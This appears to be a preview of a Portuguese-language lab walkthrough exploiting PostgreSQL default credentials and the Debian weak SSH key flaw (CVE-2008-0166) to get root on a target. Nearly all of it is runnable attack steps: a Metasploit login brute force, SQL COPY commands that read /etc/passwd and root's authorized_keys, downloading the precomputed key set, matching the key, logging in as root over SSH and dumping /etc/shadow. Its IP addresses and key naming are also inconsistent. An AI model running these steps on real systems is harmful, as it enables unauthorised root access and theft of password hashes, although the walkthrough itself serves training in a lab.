Ataque Postegres+ssh

Esta é uma pré-visualização de arquivo. Entre para ver o arquivo original

Pratica Exploit - PostgreSQL + SSH
CVE 2008-0166
1 - Preparando o ataque
msfconsole
2 - Varrendo o alvo
nmap -sV -O -p 22,5432 192.168.1.74
*Olhe os serviços ssh e postgresql rodando*
3 - Fazendo o ataque no Postgres
search postgres
use auxiliary/scanner/postgres/postgres_login
show options
set RHOSTS 192.168.1.74
exploit
*vamos pegar a senha que ele logou com sucesso *
[+] 192.168.1.105:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres'
[+] 192.168.1.105:5432 Postgres - Success: postgres:postgres (Database 'template1' succeeded.)
4 - Vamos nos conectar na base SQL do Postgres
psql -h 192.168.101 -p 5432 -U postgres -W
* Digitar a senha capturada * ---> postgres
** Agora vamos criar uma tabela e pegar o arquivo de senhas **
create table hacker (input TEXT); copy hacker from '/etc/passwd'; select input from hacker;
create table sshkey (input TEXT); copy sshkey from '/root/.ssh/authorized_keys'; select input from sshkey;
Vamos pegar a chave RSA copiando após ssh-rsa até antes dos ==
AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w
Abrir terminal e vamos pegar o exploit para esta vulnerabilidade
wget -c http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
tar jxvf debian_ssh_rsa_2048_x86.tar.bz2
		
cd rsa/2048/
grep -lr <colocar a chave rsa> *.pub
grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w *.pub
Pegar a chave publica e vamos logar no alvo
57c3115d77c56390332dc5c49978627a-5429.pub
ssh -i <chave-publica> root@<alvo>
ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@192.168.1.74
Vamos ganhar o shell
id
whoami
cat /etc/passwd
cat /etc/shadow